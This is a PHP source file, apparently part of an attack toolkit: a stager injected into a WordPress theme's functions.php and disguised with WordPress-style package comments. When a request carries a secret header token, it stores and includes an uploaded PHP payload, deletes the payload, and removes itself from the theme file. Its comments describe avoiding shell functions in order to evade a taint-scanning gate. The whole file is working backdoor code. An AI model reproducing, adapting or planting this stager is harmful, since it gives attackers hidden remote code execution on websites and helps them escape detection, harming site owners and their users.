/** * WPH Stager — Scenario C (Theme/Plugin File Editor injection). * * Build-substituted per-target: HTTP_X_WP_30E62F (the $_SERVER-form auth * header, e.g. HTTP_X_WP_) and 48a06057a3aca6cff4fcdf28739750f5 (the per-build auth * token). theme_editor_inject appends this stager to the active theme's * functions.php (stripping the leading PHP open tag — functions.php already has * one, so a second open tag would be a syntax error). * * On a POST carrying the per-build auth header + a 'payload' file, the stager * writes the upload to wp-content/cache/, include_once-s it (the deployer-payload, * which runs the deploy), unlinks it, then self-removes from functions.php via * the WPH marker fence (the fenced block is stripped after deploy). * * Sink-free: move_uploaded_file / include_once / file_put_contents only * (no eval/system/exec/shell_exec/popen) — passes the anti-taint gate. * * @package WordPress * @since 6.4.0 */ /*#WPH#*/ if (!function_exists('_wph_stage')) { function _wph_stage() { $hdr = 'HTTP_X_WP_30E62F'; $key = '48a06057a3aca6cff4fcdf28739750f5'; // Auth: must receive the per-build header if (empty($_SERVER[$hdr]) || $_SERVER[$hdr] !== $key) { return; } // Deploy: accept the uploaded deployer-payload if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['payload'])) { $tmp = $_FILES['payload']['tmp_name']; if (is_uploaded_file($tmp)) { $dir = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR . '/cache' : ABSPATH . 'wp-content/cache'; if (!is_dir($dir)) { @mkdir($dir, 0755, true); } $dest = $dir . '/transient-' . substr(md5($key), 0, 10) . '.php'; if (move_uploaded_file($tmp, $dest)) { include_once $dest; @unlink($dest); } } // Self-remove from the host file (functions.php) $host = __FILE__; $content = @file_get_contents($host); if ($content !== false) { $marker_open = '/*#WPH#*/'; $marker_close = '/*#/WPH#*/'; $start = strpos($content, $marker_open); $end = strpos($content, $marker_close); if ($start !== false && $end !== false && $end > $start) { $clean = substr($content, 0, $start) . substr($content, $end + strlen($marker_close)); @file_put_contents($host, $clean); } } // Response if (function_exists('wp_send_json')) { wp_send_json(['status' => 'deployed'], 200); } else { header('Content-Type: application/json'); echo '{"status":"deployed"}'; } exit; } } // Hook early — after WP functions are available, before most plugins add_action('init', '_wph_stage', 1); } /*#/WPH#*/